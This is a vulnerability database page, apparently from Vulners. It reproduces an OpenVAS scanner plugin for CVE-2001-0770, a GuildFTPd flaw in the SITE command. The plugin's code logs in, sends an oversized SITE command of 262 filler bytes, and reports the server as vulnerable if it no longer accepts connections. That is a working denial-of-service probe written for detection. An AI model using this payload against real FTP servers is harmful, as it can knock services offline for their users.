Lucene search
+L

GuildFTPd Long SITE Command Overflow Vulnerability (2001)

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2004 David MaciejakType 
openvas
 openvas
🔗 plugins.openvas.org👁 22 Views

The remote FTP server is vulnerable to denial of service attack through a specially long SITE command

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2001-0770
25 Jun 200204:00
cve
cvelist
Cvelist
CVE-2001-0770
25 Jun 200204:00
cvelist
euvd
EUVD
EUVD-2001-0755
7 Oct 202500:30
euvd
nessus
Tenable Nessus
GuildFTPd Long SITE Command Overflow
30 Nov 200400:00
nessus
nvd
NVD
CVE-2001-0770
18 Oct 200104:00
nvd
openvas
OpenVAS
GuildFTPd Long SITE Command Overflow
3 Nov 200500:00
openvas
SourceLink
securityfocuswww.securityfocus.com/bid/2782
# SPDX-FileCopyrightText: 2004 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.15851");
  script_version("2026-03-18T05:59:10+0000");
  script_tag(name:"last_modification", value:"2026-03-18 05:59:10 +0000 (Wed, 18 Mar 2026)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/2782");
  script_cve_id("CVE-2001-0770");
  script_xref(name:"OSVDB", value:"5540");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("GuildFTPd Long SITE Command Overflow Vulnerability (2001)");
  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2004 David Maciejak");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/guildftpd/detected");

  script_tag(name:"solution", value:"Upgrade or install another ftp server.");

  script_tag(name:"summary", value:"The remote FTP server seems to be vulnerable to denial service attack through
  the SITE command when handling specially long request.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("ftp_func.inc");
include("port_service_func.inc");

port = ftp_get_port(default:21);
banner = ftp_get_banner(port:port);
if (!banner || "GuildFTP" >!< banner)
  exit(0);

kb_creds = ftp_get_kb_creds();
login = kb_creds["login"];
password = kb_creds["pass"];
if(login)
{
  soc = open_sock_tcp(port);
  if(!soc)exit(0);

  if(ftp_authenticate(socket:soc, user:login, pass:password))
  {
    data = string("SITE ", crap(262), "\r\n");
    send(socket:soc, data:data);
    reply = ftp_recv_line(socket:soc);
    sleep(1);
    soc2 = open_sock_tcp(port);
    if(!soc2)
    {
      security_message(port);
    }
    close(soc2);
    data = string("QUIT\n");
    send(socket:soc, data:data);
  }
  close(soc);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Mar 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.03215
22